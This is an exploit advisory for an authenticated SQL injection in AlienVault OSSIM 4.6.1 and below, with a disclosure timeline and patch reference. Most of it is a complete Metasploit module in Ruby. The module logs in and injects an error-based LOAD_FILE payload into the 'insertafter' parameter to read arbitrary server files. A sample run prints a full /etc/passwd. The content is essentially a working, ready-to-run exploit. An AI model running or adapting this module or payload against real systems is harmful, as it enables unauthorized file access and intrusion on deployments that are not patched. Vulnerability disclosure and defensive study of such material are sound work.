Exploit Title: AlienVault newpolicyform.php SQLi Date: 5/9/2014 Exploit Author: chrisdhebert[at]gmail.com Vendor Homepage: http://www.alienvault.com/ Software Link: http://www.alienvault.com/free-downloads-services Version: 4.6.1 and below Tested on: Linux CVE : n/a Vendor Security Advisory : AV-11394 http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower Timeline: -------- 4/14/2014 (Vulnerablity Discovered) 4/17/2014 (Vendor Informed with receipt) 5/5/2014 (Vendor Patch Released v4.7.0) 5/9/2014 (Public Release) Vendor Discription: ------------------ OSSIM is the most widely used SIEM offering, thanks in no small part to the open source community that has promoted its use. OSSIM provides all of the capabilities that a security professional needs from a SIEM offering, event collection, normalization, correlation and incident response - but it also does far more. Not simply satisfied with integrating data from existing security tools, OSSIM is built on the Unified Security Management platform which provides a common framework for the deployment, configuration, and management of your security tools. Vulnerability Details: --------------------- The vulnerability can be classified as "SQL Injection" from authenticated users. No input validation is performed when processing parameters on the following request: GET /ossim/policy/newpolicyform.php?insertafter='SQLi HTTP/1.1 Although this POC demonstrates READ access to files readable by u=mysql g=root o=all (such as /etc/passwd). It should be noted that, an attacker should be able to WRITE to a new file with sufficient permissions such as /tmp/newfile. After a quick search, exploiting this may be midigated by the current file permissions of /usr/share/*ossim/www/* and other vhosts handled by apache. For those with more time, other writeable locations could be leveraged with this vulnerablity. Metasploit Module: ----------------- ## ## This module requires Metasploit: http//metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit4 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read", 'Description' => %q{ AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against newpolicyform.php using the 'insertinto' parameter. This module exploits the lack of input filtering to read an arbitrary file from the file system. Any authenticated user is able to exploit this, as administrator privileges are not required. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Hebert <chrisdhebert[at]gmail.com>' ], 'References' => [ ['EDB', '#####TBD####'] ], 'DefaultOptions' => { 'SSL' => true }, 'Platform' => ['linux'], 'Privileged' => false, 'DisclosureDate' => "May 9 2014")) register_options( [ Opt::RPORT(443), OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]), OptString.new('USERNAME', [ true, 'Single username' ]), OptString.new('PASSWORD', [ true, 'Single password' ]), OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]) ], self.class) end def run print_status("#{peer} - Get a valid session cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') }) unless res and res.code == 200 print_error("#{peer} - Server did not respond in an expected way") return end cookie = res.get_cookies if cookie.blank? print_error("#{peer} - Could not retrieve a cookie") return end post = { 'embed' => '', 'bookmark_string' => '', 'user' => datastore['USERNAME'], 'passu' => datastore['PASSWORD'], 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) } print_status("#{peer} - Login...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), 'method' => 'POST', 'vars_post' => post, 'cookie' => cookie }) unless res and res.code == 302 print_error("#{peer} - Server did not respond in an expected way") return end unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') print_error("#{peer} - Authentication failed") return end cookie = res.get_cookies if cookie.blank? print_error("#{peer} - Could not retrieve the authenticated cookie") return end i = 0 full = '' filename = datastore['FILEPATH'].unpack("H*")[0] i = 0 full = '' filename = datastore['FILEPATH'].unpack("H*")[0] left_marker = Rex::Text.rand_text_alpha(6) right_marker = Rex::Text.rand_text_alpha(6) print_status("#{peer} - Exploiting SQLi...") loop do file = sqli(left_marker, right_marker, i, cookie, filename) return if file.nil? break if file.empty? str = [file].pack("H*") full << str vprint_status(str) i = i+1 end path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH']) print_good("File stored at path: " + path) end def sqli(left_marker, right_marker, i, cookie, filename) pay = "X') AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}," pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR)," pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS" pay << " GROUP BY x)a) AND ('xnDa'='xnDa" get = { 'insertafter' => pay, } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'policy', 'newpolicyform.php'), 'cookie' => cookie, 'vars_get' => get }) if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/ return $1 else print_error("Server did not respond in an expected way") return nil end end end Metasploit Module Use Example: ----------------------------- msf > use auxiliary/gather/alienvault_newpolicyform_sqli msf auxiliary(alienvault_newpolicyform_sqli) > show options Module options (auxiliary/gather/alienvault_newpolicyform_sqli): Name Current Setting Required Description ---- --------------- -------- ----------- FILEPATH /etc/passwd yes Path to remote file PASSWORD putpasswordhere yes Single password Proxies no Use a proxy chain RHOST 192.168.1.1 yes The target address RPORT 443 yes The target port TARGETURI / yes Relative URI of installation USERNAME admin yes Single username VHOST no HTTP server virtual host msf auxiliary(alienvault_newpolicyform_sqli) > run [*] 192.168.1.1:443 - Get a valid session cookie... [*] 192.168.1.1:443 - Login... [*] 192.168.1.1:443 - Exploiting SQLi... [+] File stored at path: /home/username/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt [*] Auxiliary module execution completed msf auxiliary(alienvault_newpolicyform_sqli) > cat /home/user/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt [*] exec: cat /home/username/.msf4/loot/20140416053929_default_192.168.1.1_alienvault.file_945139.txt root:x:0:0:root:/root:/usr/bin/llshell daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin munin:x:102:104::/var/lib/munin:/bin/false postfix:x:103:106::/var/spool/postfix:/bin/false snmp:x:104:108::/var/lib/snmp:/bin/false hacluster:x:105:109:Heartbeat System Account,,,:/usr/lib/heartbeat:/bin/false avserver:x:106:111:AlienVault SIEM,,,:/home/avserver:/bin/false avapi:x:107:111:AlienVault SIEM,,,:/home/avapi:/bin/bash avidm:x:108:111:AlienVault IDM,,,:/home/avidm:/bin/false ossec:x:1000:1000::/var/ossec/:/bin/false ossecm:x:1001:1000::/var/ossec/:/bin/false ossecr:x:1002:1000::/var/ossec/:/bin/false ntop:x:109:112::/var/lib/ntop:/bin/false avagent:x:110:111:AlienVault Agent,,,:/home/avagent:/bin/false snort:x:111:113:Snort IDS:/var/log/snort:/bin/false prads:x:112:114::/home/prads:/bin/false nagios:x:113:115::/var/lib/nagios:/bin/false stunnel4:x:114:116::/var/run/stunnel4:/bin/false rabbitmq:x:115:117:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/bin/false mysql:x:116:118:MySQL Server,,,:/var/lib/mysql:/bin/false msf auxiliary(alienvault_newpolicyform_sqli) >